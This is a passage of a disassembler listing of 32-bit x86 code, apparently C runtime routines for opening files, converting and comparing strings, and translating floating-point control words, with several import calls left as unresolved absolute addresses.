		jmp	loc_4244D1
; ---------------------------------------------------------------------------


loc_4242AC:				; CODE XREF: sub_42423B+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242B5:				; CODE XREF: sub_42423B+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_4242C5
; ---------------------------------------------------------------------------


loc_4242BE:				; CODE XREF: sub_42423B+54j
		mov	[ebp+var_C], 80000000h


loc_4242C5:				; CODE XREF: sub_42423B+78j
					; sub_42423B+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_4242F3
		cmp	eax, 20h
		jz	short loc_4242EA
		cmp	eax, 30h
		jz	short loc_4242E1
		cmp	eax, 40h
		jnz	short loc_424297
		mov	[ebp+var_10], esi
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242E1:				; CODE XREF: sub_42423B+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242EA:				; CODE XREF: sub_42423B+95j
		mov	[ebp+var_10], 1
		jmp	short loc_4242F6
; ---------------------------------------------------------------------------


loc_4242F3:				; CODE XREF: sub_42423B+90j
		mov	[ebp+var_10], ebx


loc_4242F6:				; CODE XREF: sub_42423B+A4j
					; sub_42423B+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_424340
		jz	short loc_42433B
		cmp	ecx, ebx
		jz	short loc_42433B
		cmp	ecx, edi
		jz	short loc_424332
		cmp	ecx, 200h
		jz	short loc_424359
		cmp	ecx, 300h
		jnz	loc_424297
		mov	[ebp+var_8], 2
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424332:				; CODE XREF: sub_42423B+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_42433B:				; CODE XREF: sub_42423B+D0j
					; sub_42423B+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424340:				; CODE XREF: sub_42423B+CEj
		cmp	ecx, 500h
		jz	short loc_424362
		cmp	ecx, 600h
		jz	short loc_424359
		cmp	ecx, edx
		jz	short loc_424362
		jmp	loc_424297
; ---------------------------------------------------------------------------


loc_424359:				; CODE XREF: sub_42423B+E0j
					; sub_42423B+113j
		mov	[ebp+var_8], 5
		jmp	short loc_424369
; ---------------------------------------------------------------------------


loc_424362:				; CODE XREF: sub_42423B+10Bj
					; sub_42423B+117j
		mov	[ebp+var_8], 1


loc_424369:				; CODE XREF: sub_42423B+F5j
					; sub_42423B+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_424388
		mov	ecx, dword_4DBDE4
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_424388
		push	1
		pop	esi


loc_424388:				; CODE XREF: sub_42423B+138j
					; sub_42423B+148j
		test	al, 40h
		jz	short loc_424396
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_424396:				; CODE XREF: sub_42423B+14Fj
		test	ah, 10h
		jz	short loc_42439D
		or	esi, edi


loc_42439D:				; CODE XREF: sub_42423B+15Ej
		test	al, 20h
		jz	short loc_4243A9
		or	esi, 8000000h
		jmp	short loc_4243B3
; ---------------------------------------------------------------------------


loc_4243A9:				; CODE XREF: sub_42423B+164j
		test	al, 10h
		jz	short loc_4243B3
		or	esi, 10000000h


loc_4243B3:				; CODE XREF: sub_42423B+16Cj
					; sub_42423B+170j
		call	sub_423F24
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_4243D4
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 18h
		jmp	short loc_424412
; ---------------------------------------------------------------------------


loc_4243D4:				; CODE XREF: sub_42423B+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	near ptr 27107B7h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_424405
		push	esi
		nop
		call	near ptr 2620000h
		test	eax, eax
		jnz	short loc_424419
		push	esi
		nop
		call	near ptr 2670000h


loc_424405:				; CODE XREF: sub_42423B+1B6j
		nop
		call	near ptr 2680C22h
		push	eax
		call	sub_420C7F
		pop	ecx


loc_424412:				; CODE XREF: sub_42423B+197j
		mov	eax, edi
		jmp	loc_4244EF
; ---------------------------------------------------------------------------


loc_424419:				; CODE XREF: sub_42423B+1C1j
		cmp	eax, 2
		jnz	short loc_424424
		or	[ebp+var_1], 40h
		jmp	short loc_42442D
; ---------------------------------------------------------------------------


loc_424424:				; CODE XREF: sub_42423B+1E1j
		cmp	eax, 3
		jnz	short loc_42442D
		or	[ebp+var_1], 8


loc_42442D:				; CODE XREF: sub_42423B+1E7j
					; sub_42423B+1ECj
		push	esi
		push	ebx
		call	sub_423FB9
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DD040h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_4244D6
		test	al, 80h
		jz	short loc_4244D6
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4244D6
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_42448B
		cmp	dword_4DBDE0, 83h
		jz	short loc_4244D6
		jmp	short loc_4244CA
; ---------------------------------------------------------------------------


loc_42448B:				; CODE XREF: sub_42423B+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F9BC
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4244B8
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_4244B8
		push	[ebp+var_10]
		push	ebx
		call	sub_4251BB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4244CA


loc_4244B8:				; CODE XREF: sub_42423B+265j
					; sub_42423B+26Bj
		push	0
		push	0
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4244D6


loc_4244CA:				; CODE XREF: sub_42423B+24Ej
					; sub_42423B+27Bj
		push	ebx
		call	sub_41E312
		pop	ecx


loc_4244D1:				; CODE XREF: sub_42423B+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_4244EF
; ---------------------------------------------------------------------------


loc_4244D6:				; CODE XREF: sub_42423B+221j
					; sub_42423B+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_4244ED
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_4244ED
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_4244ED:				; CODE XREF: sub_42423B+29Fj
					; sub_42423B+2A5j
		mov	eax, ebx


loc_4244EF:				; CODE XREF: sub_42423B+1D9j
					; sub_42423B+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42423B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4244F4	proc near		; CODE XREF: sub_41FDB5+5Ep
					; sub_420988+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C30
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DBFB4
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424563
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427920
		push	esi
		nop
		call	near ptr 2600571h
		test	eax, eax
		jz	short loc_424541
		mov	eax, esi
		jmp	short loc_42455E
; ---------------------------------------------------------------------------


loc_424541:				; CODE XREF: sub_4244F4+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset word_4CB88C
		push	esi
		push	ebx
		call	near ptr 2610000h
		nop
		test	eax, eax
		jz	loc_424629
		push	2
		pop	eax


loc_42455E:				; CODE XREF: sub_4244F4+4Bj
		mov	dword_4DBFB4, eax


loc_424563:				; CODE XREF: sub_4244F4+2Fj
		cmp	eax, 2
		jnz	short loc_42458C
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_424574
		mov	eax, dword_4DBE84


loc_424574:				; CODE XREF: sub_4244F4+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2610000h
		jmp	loc_42462B
; ---------------------------------------------------------------------------


loc_42458C:				; CODE XREF: sub_4244F4+72j
		cmp	eax, 1
		jnz	loc_424629
		cmp	[ebp+arg_10], ebx
		jnz	short loc_4245A2
		mov	eax, dword_4DBE94
		mov	[ebp+arg_10], eax


loc_4245A2:				; CODE XREF: sub_4244F4+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 26F0000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_424629
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		jmp	short loc_4245F8
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_4245F8:				; CODE XREF: sub_4244F4+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_424629
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 26F0000h
		cmp	eax, ebx
		jz	short loc_424629
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2600571h
		jmp	short loc_42462B
; ---------------------------------------------------------------------------


loc_424629:				; CODE XREF: sub_4244F4+61j
					; sub_4244F4+9Bj ...
		xor	eax, eax


loc_42462B:				; CODE XREF: sub_4244F4+93j
					; sub_4244F4+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4244F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_42463D	proc near		; CODE XREF: sub_41FE2A+61p
					; sub_420CE6+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DD140
		jb	short loc_42464C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42464C:				; CODE XREF: sub_42463D+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_42463D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424663	proc near		; CODE XREF: sub_41FF3F+2D4p
					; sub_41FF3F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_42466F
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42466F:				; CODE XREF: sub_424663+8j
		cmp	dword_4DBE84, 0
		jnz	short loc_42468A
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_4246BC
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42468A:				; CODE XREF: sub_424663+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43D084
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DBE94
		nop
		call	near ptr 282113Ah
		test	eax, eax
		jz	short loc_4246BC
		cmp	[ebp+arg_0], 0
		jz	short loc_4246C9


loc_4246BC:				; CODE XREF: sub_424663+1Ej
					; sub_424663+51j
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh


loc_4246C9:				; CODE XREF: sub_424663+57j
		pop	ebp
		retn
sub_424663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4246CB	proc near		; CODE XREF: sub_420DB0+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_4246EE
		cmp	[ebp+arg_8], ebx
		jz	short loc_4246EE
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_4246F4
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4246EE
		mov	[eax], bx


loc_4246EE:				; CODE XREF: sub_4246CB+Cj
					; sub_4246CB+11j ...
		xor	eax, eax


loc_4246F0:				; CODE XREF: sub_4246CB+42j
					; sub_4246CB+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4246F4:				; CODE XREF: sub_4246CB+17j
		cmp	dword_4DBE84, ebx
		jnz	short loc_42470F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_42470A
		movzx	ax, al
		mov	[ecx], ax


loc_42470A:				; CODE XREF: sub_4246CB+36j
					; sub_4246CB+C0j
		push	1
		pop	eax
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42470F:				; CODE XREF: sub_4246CB+2Fj
		mov	ecx, off_43CE78
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_42476C
		mov	eax, dword_43D084
		cmp	eax, 1
		jle	short loc_424753
		cmp	[ebp+arg_8], eax
		jl	short loc_42475D
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DBE94
		call	near ptr 26F0000h
		nop
		test	eax, eax
		mov	eax, dword_43D084
		jnz	short loc_4246F0


loc_424753:				; CODE XREF: sub_4246CB+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_42475D
		cmp	[esi+1], bl
		jnz	short loc_4246F0


loc_42475D:				; CODE XREF: sub_4246CB+61j
					; sub_4246CB+8Bj ...
		mov	dword_4DBDDC, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4246F0
; ---------------------------------------------------------------------------


loc_42476C:				; CODE XREF: sub_4246CB+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_4DBE94
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	loc_42470A
		jmp	short loc_42475D
sub_4246CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4247A0	proc near		; CODE XREF: sub_420DB0+797p
					; sub_420DB0+7E7p
		cmp	cl, 40h
		jnb	short loc_4247BA
		cmp	cl, 20h
		jnb	short loc_4247B0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_4247B0:				; CODE XREF: sub_4247A0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_4247BA:				; CODE XREF: sub_4247A0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4247A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247BF	proc near		; CODE XREF: sub_421826+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_42480B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_4247DD
		test	al, 80h
		jz	short loc_42480B
		test	al, 2
		jnz	short loc_42480B


loc_4247DD:				; CODE XREF: sub_4247BF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_4247EA
		push	esi
		call	sub_4241F7
		pop	ecx


loc_4247EA:				; CODE XREF: sub_4247BF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_4247FA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_42480B
		inc	eax
		mov	[esi], eax


loc_4247FA:				; CODE XREF: sub_4247BF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424811
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424817
		inc	eax
		mov	[esi], eax


loc_42480B:				; CODE XREF: sub_4247BF+9j
					; sub_4247BF+18j ...
		or	eax, 0FFFFFFFFh


loc_42480E:				; CODE XREF: sub_4247BF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424811:				; CODE XREF: sub_4247BF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424817:				; CODE XREF: sub_4247BF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_42480E
sub_4247BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42482D	proc near		; CODE XREF: sub_421E16+52p
		xor	eax, eax
		retn
sub_42482D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424830	proc near		; CODE XREF: sub_424865+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42487B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_42490D
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424830	endp


; =============== S U B	R O U T	I N E =======================================



sub_424865	proc near		; CODE XREF: sub_422102+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424830
		pop	ecx
		pop	ecx
		retn
sub_424865	endp


; =============== S U B	R O U T	I N E =======================================



sub_42487B	proc near		; CODE XREF: sub_424830+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42488C
		push	10h
		pop	eax


loc_42488C:				; CODE XREF: sub_42487B+Cj
		test	bl, 4
		jz	short loc_424893
		or	al, 8


loc_424893:				; CODE XREF: sub_42487B+14j
		test	bl, 8
		jz	short loc_42489A
		or	al, 4


loc_42489A:				; CODE XREF: sub_42487B+1Bj
		test	bl, 10h
		jz	short loc_4248A1
		or	al, 2


loc_4248A1:				; CODE XREF: sub_42487B+22j
		test	bl, 20h
		jz	short loc_4248A8
		or	al, 1


loc_4248A8:				; CODE XREF: sub_42487B+29j
		test	bl, 2
		jz	short loc_4248B2
		or	eax, 80000h


loc_4248B2:				; CODE XREF: sub_42487B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4248EA
		cmp	edx, 400h
		jz	short loc_4248E7
		cmp	edx, 800h
		jz	short loc_4248E3
		cmp	edx, esi
		jnz	short loc_4248EA
		or	eax, edi
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E3:				; CODE XREF: sub_42487B+5Ej
		or	eax, ebp
		jmp	short loc_4248EA
; ---------------------------------------------------------------------------


loc_4248E7:				; CODE XREF: sub_42487B+56j
		or	ah, 1


loc_4248EA:				; CODE XREF: sub_42487B+4Ej
					; sub_42487B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4248FA
		cmp	ecx, ebp
		jnz	short loc_4248FF
		or	eax, 10000h
		jmp	short loc_4248FF
; ---------------------------------------------------------------------------


loc_4248FA:				; CODE XREF: sub_42487B+72j
		or	eax, 20000h


loc_4248FF:				; CODE XREF: sub_42487B+76j
					; sub_42487B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_42490C
		or	eax, 40000h

locret_42490C:				; CODE XREF: sub_42487B+8Aj
		retn
sub_42487B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42490D	proc near		; CODE XREF: sub_424830+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42491D
		push	1
		pop	eax


loc_42491D:				; CODE XREF: sub_42490D+Bj
		test	bl, 8
		jz	short loc_424924
		or	al, 4


loc_424924:				; CODE XREF: sub_42490D+13j
		test	bl, 4
		jz	short loc_42492B
		or	al, 8


loc_42492B:				; CODE XREF: sub_42490D+1Aj
		test	bl, 2
		jz	short loc_424932
		or	al, 10h


loc_424932:				; CODE XREF: sub_42490D+21j
		test	bl, 1
		jz	short loc_424939
		or	al, 20h


loc_424939:				; CODE XREF: sub_42490D+28j
		test	ebx, 80000h
		jz	short loc_424943
		or	al, 2


loc_424943:				; CODE XREF: sub_42490D+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424970
		cmp	ecx, 100h
		jz	short loc_42496D
		cmp	ecx, esi
		jz	short loc_424968
		cmp	ecx, edx
		jnz	short loc_424970
		or	ah, 0Ch
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_424968:				; CODE XREF: sub_42490D+50j
		or	ah, 8
		jmp	short loc_424970
; ---------------------------------------------------------------------------


loc_42496D:				; CODE XREF: sub_42490D+4Cj
		or	ah, 4


loc_424970:				; CODE XREF: sub_42490D+44j
					; sub_42490D+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424986
		cmp	ecx, 10000h
		jnz	short loc_424988
		or	eax, esi
		jmp	short loc_424988
; ---------------------------------------------------------------------------


loc_424986:				; CODE XREF: sub_42490D+6Bj
		or	eax, edx


loc_424988:				; CODE XREF: sub_42490D+73j
					; sub_42490D+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424995
		or	ah, 10h

locret_424995:				; CODE XREF: sub_42490D+83j
		retn
sub_42490D	endp


; =============== S U B	R O U T	I N E =======================================



sub_424996	proc near		; CODE XREF: sub_424A35+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4249DB
		inc	esi
		cmp	esi, 3
		jge	short loc_4249D6
		lea	eax, [eax+esi*4]


loc_4249C8:				; CODE XREF: sub_424996+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4249DB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4249C8


loc_4249D6:				; CODE XREF: sub_424996+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4249DB:				; CODE XREF: sub_424996+27j
					; sub_424996+35j
		xor	eax, eax
		pop	esi
		retn
sub_424996	endp


; =============== S U B	R O U T	I N E =======================================



sub_4249DF	proc near		; CODE XREF: sub_424A35+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		js	short loc_424A31
		lea	edi, [ebx+esi*4]


loc_424A18:				; CODE XREF: sub_4249DF+50j
		test	eax, eax
		jz	short loc_424A31
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425301
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424A18


loc_424A31:				; CODE XREF: sub_4249DF+34j
					; sub_4249DF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4249DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A35	proc near		; CODE XREF: sub_424B90+81p
					; sub_424B90+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424A99
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424996
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424A96
		push	edi
		push	[ebp+arg_0]
		call	sub_4249DF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424A96:				; CODE XREF: sub_424A35+51j
		mov	eax, [ebp+arg_4]


loc_424A99:				; CODE XREF: sub_424A35+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_424AB9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_424AB9:				; CODE XREF: sub_424A35+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424A35	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AC1	proc near		; CODE XREF: sub_424B90+75p
					; sub_424B90+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_424ACF:				; CODE XREF: sub_424AC1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_424ACF
		pop	esi
		retn
sub_424AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_424ADC	proc near		; CODE XREF: sub_424B90+5Fp
					; sub_424B90+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_424ADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE8	proc near		; CODE XREF: sub_424B90+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_424AEE:				; CODE XREF: sub_424AE8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_424B00
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_424AEE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_424B00:				; CODE XREF: sub_424AE8+9j
		xor	eax, eax
		retn
sub_424AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B03	proc near		; CODE XREF: sub_424B90+C0p
					; sub_424B90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
